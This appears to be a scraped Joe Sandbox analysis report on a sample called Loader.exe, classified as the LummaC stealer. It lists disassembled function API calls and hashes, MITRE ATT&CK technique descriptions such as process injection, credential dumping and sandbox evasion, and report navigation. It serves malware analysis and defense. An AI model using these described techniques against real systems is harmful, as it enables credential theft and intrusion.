Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 77267874bf5bddcc75fc6c60a17745fc18c3bde5f6fbbacf7c5c4dd4efcfb1e1
Instruction ID: ddf7f4fd98553e0fbde6e487ada63dec0ba3f75623f48cee6e3d4be4a0e9fc8a
Opcode Fuzzy Hash: 77267874bf5bddcc75fc6c60a17745fc18c3bde5f6fbbacf7c5c4dd4efcfb1e1
Instruction Fuzzy Hash: 3911C4B1F495197E672167767CC9CAF6DACDF953E8B901014F805F2112FB60CD4241B0

Function 00E707C0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00E6FF31,00000000,00000001,00000000,?,?,00E6E9DA,?,00000000,00000000), ref: 00E707D7
GetLastError.KERNEL32(?,00E6FF31,00000000,00000001,00000000,?,?,00E6E9DA,?,00000000,00000000,?,?,?,00E6E320,00000000), ref: 00E707E3

Part of subcall function 00E70840: CloseHandle.KERNEL32(FFFFFFFE,00E707F3,?,00E6FF31,00000000,00000001,00000000,?,?,00E6E9DA,?,00000000,00000000,?,?), ref: 00E70850

___initconout.LIBCMT ref: 00E707F3

Part of subcall function 00E70815: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00E707B1,00E6FF1E,?,?,00E6E9DA,?,00000000,00000000,?), ref: 00E70828

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00E6FF31,00000000,00000001,00000000,?,?,00E6E9DA,?,00000000,00000000,?), ref: 00E70808

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 0185329ddabf46b137ee339476bb9cc5c126e154bb4d7fd9b30a56b57c6ca550
Instruction ID: 001de7e67074ba9b4e630857ef9044f2d5b8b04a1b22bb2549eec8d9e66672bf
Opcode Fuzzy Hash: 0185329ddabf46b137ee339476bb9cc5c126e154bb4d7fd9b30a56b57c6ca550
Instruction Fuzzy Hash: C3F0F836000159FFCF225F969C08A8A3E66FF083A1F009425FA2CA5122D67288659B91

Function 0042F6C0 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 313COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042F9C1

Strings

/>;1, xrefs: 0042F8DB
;;50, xrefs: 0042F8E5

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: FreeLibrary
String ID: />;1$;;50
API String ID: 3664257935-4059640636
Opcode ID: 0ab95ecbee1dd8dfb8dd5c3050596fd92f6c002df127343a4e3c3c90e1871764
Instruction ID: 172fcc1aa8a236afcdca7ad852102e95021fad56fecfcaf6763043d0427a5d3e
Opcode Fuzzy Hash: 0ab95ecbee1dd8dfb8dd5c3050596fd92f6c002df127343a4e3c3c90e1871764
Instruction Fuzzy Hash: C2A15671704B518BD7258B25C841BA3FBE2AB92314F588A3ED4EB4B3C2C739A40AC755

Function 00E641C6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00E649EA
___raise_securityfailure.LIBCMT ref: 00E64AD2

Part of subcall function 00E659FC: RaiseException.KERNEL32(E06D7363,00000001,00000003,00E649DE,BB40E64E,?,?,?,00E649DE,?,00E79B2C), ref: 00E65A5C

Strings

%, xrefs: 00E64A55

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: %
API String ID: 3749517692-3997664075
Opcode ID: 8b3f285b0230214996e1c52c926e85150eed1c8476de28c6c2bc0142fa42bd15
Instruction ID: 844749ede6264895e59b66d2c884cbc6ae25824b68b57d34f36ceb7501ed54d9
Opcode Fuzzy Hash: 8b3f285b0230214996e1c52c926e85150eed1c8476de28c6c2bc0142fa42bd15
Instruction Fuzzy Hash: 1A318BB5540304AFC700DF66F846A587BECBB08354F20612EEA1CFA2E1E771A9C8CB40

Function 00E68D6C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00E68D75

Strings

csm, xrefs: 00E68E08
csm, xrefs: 00E68D97

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: f69caa62f47b4ba9f9e273ac1a5cab86748e343e8b62afa8859ee651345feba2
Instruction ID: 1c728529fce3381b0ae4f94497d0c16df279b53e1278a5a2a34c0f4ae8cbb651
Opcode Fuzzy Hash: f69caa62f47b4ba9f9e273ac1a5cab86748e343e8b62afa8859ee651345feba2
Instruction Fuzzy Hash: 24313C76480215EFCF264F50EE048AA7B66FF18398B18675AF94439121CB33DDA1DB91

Function 00E64241 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00E649EA
___raise_securityfailure.LIBCMT ref: 00E64AD2

Strings

%, xrefs: 00E64A55

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: %
API String ID: 3761405300-3997664075
Opcode ID: 2be9847ea0c3f86af9803ea0ef7228269afe6e20e664a0a9ed3dc9bce4ed6d91
Instruction ID: fc50e9954eb51d8ad65d0f050025cfcb89cd2619569e43d8f9cf136a2f00e96d
Opcode Fuzzy Hash: 2be9847ea0c3f86af9803ea0ef7228269afe6e20e664a0a9ed3dc9bce4ed6d91
Instruction Fuzzy Hash: 5521CFB5540205DED710CF17F956B547BA8BB48314F20606EE60DEB3A1E3B2A8C8CF45

Function 00E645A6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E64533: __EH_prolog3_GS.LIBCMT ref: 00E6453A

std::domain_error::domain_error.LIBCPMT ref: 00E645EC

Part of subcall function 00E643A4: std::exception::exception.LIBCONCRT ref: 00E643BA

Strings

CD, xrefs: 00E645B6, 00E645C9
CD, xrefs: 00E645D7

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: H_prolog3_std::domain_error::domain_errorstd::exception::exception
String ID: CD$CD
API String ID: 2144476180-4090438138
Opcode ID: 691273bde47a5f920dd2c4224f17b09ce66307caea4a5611b42621727080a112
Instruction ID: 3a15ae023be90ec834df06274781fb463d2b6bac0c405ef2ae4273b571795b98
Opcode Fuzzy Hash: 691273bde47a5f920dd2c4224f17b09ce66307caea4a5611b42621727080a112
Instruction Fuzzy Hash: DC015EB0D002189FCF18EF69D8418AEBBF9FF48344B50941EE815A7340DB34DA45CB90

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Loader.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
Loader.exe

Function 00E7B18D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 00E69DD3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00E5BEB0 Relevance: 9.2, APIs: 6, Instructions: 173
fileCOMMON

Function 00E66CE6 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 00E66FEF Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 00E6A732 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00E66E00 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Function 00E6B0CB Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 00E63B60 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Function 00E69E9E Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Function 00E5CD90 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Function 00E6BC45 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON